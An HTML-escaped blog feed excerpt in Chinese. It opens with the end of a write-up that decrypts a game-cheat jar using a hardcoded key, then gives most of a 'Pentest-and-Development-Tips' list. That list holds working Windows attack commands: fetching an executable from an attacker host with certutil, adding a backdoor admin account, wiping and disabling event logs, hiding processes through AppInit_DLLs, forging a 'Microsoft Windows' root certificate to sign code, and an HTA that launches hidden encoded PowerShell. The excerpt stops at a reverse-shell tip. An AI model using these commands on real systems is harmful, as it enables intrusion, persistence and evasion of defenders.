    &lt;span class="md_line md_line_end"&gt;发现在文件夹已经完成了解密。&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x13.png" alt="0x13" title="" &gt;&lt;figcaption&gt;0x13&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x14.png" alt="0x14" title="" &gt;&lt;figcaption&gt;0x14&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;包含了明文的密码以及服务ip等。&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;0x06&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;这样太麻烦了，每次都要去覆盖，既然我们知道了密码以及方法。有没有更简单的方法？如果我们把lords.jar当成lib去调用是否也可以完成解密？&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;&amp;emsp;&amp;emsp;说干就干!&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;我们写一个detest类调用JarDecryptor&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;detest.java&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;import net.roseboy.classfinal.JarDecryptor;
import java.io.File;
import net.roseboy.classfinal.util.IoUtils;


public class detest {
    public static void main(String[] args) {
        File file = new File("D:\\lords\\lords\\META-INF\\.classes\\");
        File[] array = file.listFiles();
        for(int i=0;i&amp;lt;array.length;i++){
            if(array[i].isFile()){
                JarDecryptor jarde = new JarDecryptor();
                byte[] result = jarde.doDecrypt("D:\\lords\\lords\\",array[i].getName(),"41082bc542a1703e00123401154771be".toCharArray());
                IoUtils.writeFile(new File("D:\\lords\\lords\\decodes\\" + array[i].getName() + ".class"),result);
                System.out.println(array[i].getName());
            }
        }
    }
}&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;尝试运行:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;    java -cp lords.jar detest.java&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x15.png" alt="0x15" title="" &gt;&lt;figcaption&gt;0x15&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x16.png" alt="0x16" title="" &gt;&lt;figcaption&gt;0x16&lt;/figcaption&gt;&lt;/figure&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;后面发现&lt;/span&gt;
&lt;/p&gt;

&lt;ul class="md_list md_ul"&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;org.springframework.config.Pass

&lt;/span&gt;&lt;/li&gt;
&lt;li class="md_li"&gt;&lt;span class="md_li_span"&gt;org.springframework.config.PassHash

&lt;/span&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start"&gt;有报错，原因是本身就是明文。。。。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;不管了去看看解密后的文件&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x17.png" alt="0x17" title="" &gt;&lt;figcaption&gt;0x17&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;扔到jad &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start"&gt;&lt;figure class="md_figure md_image_figure"&gt;&lt;img class="md_compiled " src="/img/0x18.png" alt="0x18" title="" &gt;&lt;figcaption&gt;0x18&lt;/figcaption&gt;&lt;/figure&gt;&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;到这里基本就是结束了，已经完全还原了源代码))&lt;/span&gt;
&lt;/p&gt;

&lt;h5 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;0x07&lt;/span&gt;&lt;/h5&gt;

&lt;p class="md_block last_md_block_in_page"&gt;
    &lt;span class="md_line md_line_start"&gt;&amp;emsp;&amp;emsp;通过分析，发现他是通过WireShark的TShark对本地互联网网卡进行抓包后经过数据包分析上传到云端服务器通过 Redis 与RabbitMQ 来实现消息以及存储。通过不知名开源Web改装成Web前端去完成页面。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line"&gt;&amp;emsp;&amp;emsp;作者能拿到游戏厂商或者说能分析数据包？猜测是由于前期游戏厂商对游戏的逻辑进行简单的异或处理并没有做其他的加密导致拿到了源代码，毕竟游戏厂不能因为这个把源代码逻辑全部重写（&lt;a class="md_compiled" href="https://www.secbig.com/lofter/2018-02-20-unity3d-assembly-csharp-decode-1"&gt;参见&lt;/a&gt;)。目前由于Unity3d进行了版本升级无法看见源代码了只能看到一些函数的名称。&lt;br /&gt;&lt;/span&gt;
    &lt;span class="md_line md_line_end"&gt;&amp;emsp;&amp;emsp;作者提供了很好的思路来解决某些情况下可以使用类似这种方法对某种通信方式进行分析。同时厂商也没有做到最基础的通信加密)&lt;/span&gt;
&lt;/p&gt;</summary>

  </entry>


  <entry>


    <title>Pentest-and-Development-Tips</title>

    <link href="https://www.secbig.com/pentest-and-development-tips"  rel="alternate"></link>

    <updated>2018-02-28T02:31:00Z</updated>
    <id>pentest-and-development-tips</id>

    <author>
      <name>大安全</name>

    </author>
    <summary type="html">&lt;h1 id="toc_0" class="h16 md_first_h"&gt;&lt;span class="span_for_h"&gt;Pentest-and-Development-Tips&lt;/span&gt;&lt;/h1&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;A collection of pentest and development tips&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Author： 3gstudent&lt;/span&gt;
&lt;/p&gt;

&lt;h3 id="toc_1" class="h16"&gt;&lt;span class="span_for_h"&gt;声明&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;以下技巧不应用于非法用途&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_2" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 1. 手动端口探测&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;nmap的-sV可以探测出服务版本，但有些情况下必须手动探测去验证&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;使用Wireshark获取响应包未免大材小用，可通过nc简单判断&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于8001端口，nc连接上去，随便输入一个字符串，得到了以下结果：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;$ nc -vv localhost 8001  
localhost [127.0.0.1] 8001 (?) open
asd
HTTP/1.1 400 Bad Request
Date: Fri, 25 Aug 2017 12:15:25 GMT
Server: Apache/2.4.23 (Debian)
Content-Length: 301
Connection: close
Content-Type: text/html; charset=iso-8859-1
&amp;lt;!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"&amp;gt;
&amp;lt;html&amp;gt;&amp;lt;head&amp;gt;
&amp;lt;title&amp;gt;400 Bad Request&amp;lt;/title&amp;gt;
&amp;lt;/head&amp;gt;&amp;lt;body&amp;gt;
&amp;lt;h1&amp;gt;Bad Request&amp;lt;/h1&amp;gt;
&amp;lt;p&amp;gt;Your browser sent a request that this server could not understand.&amp;lt;br /&amp;gt;
&amp;lt;/p&amp;gt;
&amp;lt;hr&amp;gt;
&amp;lt;address&amp;gt;Apache/2.4.23 (Debian) Server at 127.0.0.1 Port 8001&amp;lt;/address&amp;gt;
&amp;lt;/body&amp;gt;&amp;lt;/html&amp;gt;&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;由此我们知道了这是一个http服务，因为我们发送的字符串不是一个合法的HTTP请求，因此返回一个400 Bad requests，我们还得到了系统的版本是Debian，WebServer是Apache&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="http://www.freebuf.com/articles/network/146087.html"&gt;《谈谈端口探测的经验与原理》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_3" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 2. Windows系统从Kali下载文件&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Kali:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;python -m SimpleHTTPServer 80&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Windows:&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe 1.exe
certutil.exe -urlcache -split -f http://192.168.1.192/Client.exe delete&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%B5%8B%E8%AF%95%E4%B8%AD%E7%9A%84certutil.exe/"&gt;《渗透测试中的certutil.exe》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_4" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 3. 配置工作组计算机,使其支持net use远程连接&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;添加用户：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net user test test /add
net localgroup administrators test /add&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改注册表，使其支持远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add hklm\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System /v LocalAccountTokenFilterPolicy /t REG_DWORD /d 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;net use远程连接：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;net use \\192.168.1.195 test /u:test&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;hr&gt;
&lt;h3 id="toc_5" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 4. Windows日志清除&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取日志分类列表：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil el &amp;gt;1.txt&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;获取单个日志类别的统计信息：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;eg.&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil gli "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;回显：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;creationTime: 2016-11-28T06:01:37.986Z
lastAccessTime: 2016-11-28T06:01:37.986Z
lastWriteTime: 2017-08-08T08:01:20.979Z
fileSize: 1118208
attributes: 32
numberOfLogRecords: 1228
oldestRecordNumber: 1&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;查看指定日志的具体内容：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil qe /f:text "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;删除单个日志类别的所有信息：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;wevtutil cl "windows powershell"&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_6" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 5. 破坏Windows日志记录功能&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过调用TerminateThread结束实现日志功能的线程，使得日志记录功能失效，但Windows Event Log服务没有被破坏，状态仍为正在运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Powershell:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/hlldz/Invoke-Phant0m&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;C++:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Windwos-EventLog-Bypass&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E6%B8%97%E9%80%8F%E6%8A%80%E5%B7%A7-Windows%E6%97%A5%E5%BF%97%E7%9A%84%E5%88%A0%E9%99%A4%E4%B8%8E%E7%BB%95%E8%BF%87/"&gt;《渗透技巧-Windows日志的删除与绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8API-NtQueryInformationThread%E5%92%8CI_QueryTagInformation%E5%AE%9E%E7%8E%B0%E5%AF%B9Windwos%E6%97%A5%E5%BF%97%E7%9B%91%E6%8E%A7%E7%9A%84%E7%BB%95%E8%BF%87/"&gt;《利用API-NtQueryInformationThread和I_QueryTagInformation实现对Windwos日志监控的绕过》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;

&lt;span class="md_repeated_n md_repeated_n_1"&gt;&lt;/span&gt;
&lt;hr&gt;
&lt;h3 id="toc_7" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 6. Win7和Windows Server 2008 R2下的进程隐藏&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;利用globalAPIhooks，通过修改注册表实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;下载工程：https://github.com/subTee/AppInitGlobalHooks-Mimikatz&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;修改代码指定要隐藏的程序名cldr.exe，编译成cldr.dll，cldr.dll放在&lt;code&gt;C:\ProgramData\Microsoft\HelpLibrary\&lt;/code&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;此时，任务管理器进程列表不存在cldr.exe，Process Explorer不存在cldr.exe，Tasklist.exe不存在cldr.exe&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;对于64位系统：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldrx64.dll" /f
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v RequireSignedAppInit_DLLs /t REG_DWORD /d 0
reg add "hklm\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows" /v LoadAppInit_DLLs /t REG_DWORD /d 1 /f
reg add "hklm\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows" /v AppInit_DLLs /t REG_SZ /d "C:\\ProgramData\\Microsoft\\HelpLibrary\\cldr.dll" /f&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_dom_embed md_line_start md_line_end"&gt;&lt;a class="md_compiled" href="https://3gstudent.github.io/3gstudent.github.io/%E5%88%A9%E7%94%A8globalAPIhooks%E5%9C%A8Win7%E7%B3%BB%E7%BB%9F%E4%B8%8B%E9%9A%90%E8%97%8F%E8%BF%9B%E7%A8%8B/"&gt;《利用globalAPIhooks在Win7系统下隐藏进程》&lt;/a&gt;&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_8" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 7. 同名exe和com文件执行顺序&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;如果一个路径下同时包含同名的exe和com文件，例如test.exe和test.com，通过命令行cmd输入test(不包含文件后缀名)，会优先运行com文件，即test.com&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;而COM文件的生成只需要把exe文件的后缀名改为com即可&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_9" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 8. Windows系统证书生成与注册&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书生成与签名：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;makecert -n "CN=Microsoft Windows" -r -sv Root.pvk Root.cer
cert2spc Root.cer Root.spc
pvk2pfx -pvk Root.pvk -pi 12345678password -spc Root.spc -pfx Root.pfx -f
signtool sign /f Root.pfx /p 12345678password test.exe&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行后生成Root.cer、Root.pfx、Root.pvk、Root.spc四个文件，test.exe被加上数字签名&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;证书注册：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;管理员权限cmd，将证书添加到localmachine：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;certmgr.exe -add -c Root.cer -s -r localmachine root&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《A dirty way of tricking users to bypass UAC》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_10" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 9.  hta执行vbs，加载powershell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;test.hta：&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;&amp;lt;HTML&amp;gt; 
&amp;lt;HEAD&amp;gt; 
&amp;lt;script language="VBScript"&amp;gt;
    Set WshShell = CreateObject("WScript.Shell")
    Connect="powershell -nop -windows hidden -E YwBhAGwAYwAuAGUAeABlAA=="
    WshShell.Run Connect, 4, true
&amp;lt;/script&amp;gt;
&amp;lt;HTA:APPLICATION ID="test"
WINDOWSTATE = "minimize"&amp;gt;
&amp;lt;/HEAD&amp;gt; 
&amp;lt;BODY&amp;gt; 
&amp;lt;/BODY&amp;gt; 
&amp;lt;/HTML&amp;gt; &lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Bypass McAfee Application Control——Code Execution》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_11" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 10. 通过c#编写dll &amp;amp; 通过rundll32.exe或者regsvr32加载dll&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;默认情况下，c#不可以声明导出函数，但可通过添加UnmanagedExports实现&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;当然，通过c#编写的dll，dll需要在对应版本的.NET环境才能正常运行，通过c++编写的dll更加通用&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;通过rundll32.exe或者regsvr32能够加载dll，但要求dll包含特定的导出函数&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考： &lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《Code Execution of Regsvr32.exe》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_12" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 11. Windows下cpl文件介绍&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;本质上是DLL文件，后缀名为cpl，包含一个导出函数CPLApplet(c实现可不指定)&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;执行方法：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(1)双击直接运行&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(2)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;rundll32 shell32.dll,Control_RunDLL test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(3)cmd&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;control test.cpl&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(4)vbs&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;Dim obj
Set obj = CreateObject("Shell.Application")
obj.ControlPanelItem("test.cpl")&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;(5)js&lt;/span&gt;
&lt;/p&gt;


&lt;pre&gt;&lt;code&gt;var a = new ActiveXObject("Shell.Application");
a.ControlPanelItem("c:\\test\\test.cpl");&lt;/code&gt;&lt;/pre&gt;

&lt;!--block_code_end--&gt;
&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;参考：&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;《CPL文件利用介绍》&lt;/span&gt;
&lt;/p&gt;


&lt;hr&gt;
&lt;h3 id="toc_13" class="h16"&gt;&lt;span class="span_for_h"&gt;Tips 12. Windows下通过cmd调用rundll32执行一段代码弹回Shell&lt;/span&gt;&lt;/h3&gt;

&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Server:&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;https://github.com/3gstudent/Javascript-Backdoor/blob/master/JSRat.ps1&lt;/span&gt;
&lt;/p&gt;


&lt;p class="md_block md_block_as_opening"&gt;
    &lt;span class="md_line md_line_start md_line_end"&gt;Client:&lt;/span&gt;
&lt;/p&gt;


